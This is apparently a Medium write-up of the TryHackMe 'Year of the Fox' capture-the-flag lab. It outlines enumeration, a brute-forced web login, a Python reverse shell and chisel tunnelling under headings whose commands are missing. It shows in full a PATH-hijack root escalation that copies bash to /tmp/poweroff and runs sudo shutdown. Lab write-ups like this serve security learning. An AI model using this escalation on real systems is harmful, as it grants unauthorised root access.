Year of the Fox — TryHackMe

Enumeration

# Identify the list of services running on the target machine

Web Enumeration:

Lets explore more by opening the web-page at port 80

Enumerate Username:

We will use enum4linux next generation script to enumerate usernames. This script can be found here- https://github.com/cddmp/enum4linux-ng:

Brute Force Web Login

Reverse Shell

Using python reverse shell:

Catch Reverse Shell on Kali:

Web Flag:

User Privilege Escalation

Ran LinEnum and Linux Smart Enumeration shell Scripts on the target and one thing stands out:

Running chisel on kali:

Running chisel on target:

Root Privilege Escalation

Ran the Linux Smart Enumeration Script again and found out:

cp /bin/bash /tmp/poweroff
fox@year-of-the-fox:/tmp$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games
fox@year-of-the-fox:/tmp$ PATH=/tmp:$PATH
fox@year-of-the-fox:/tmp$ echo $PATH
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games
fox@year-of-the-fox:/tmp$ sudo /usr/sbin/shutdown
root@year-of-the-fox:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
root@year-of-the-fox:/tmp# cat /root/root.txt
Not here - go find!

--

--

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store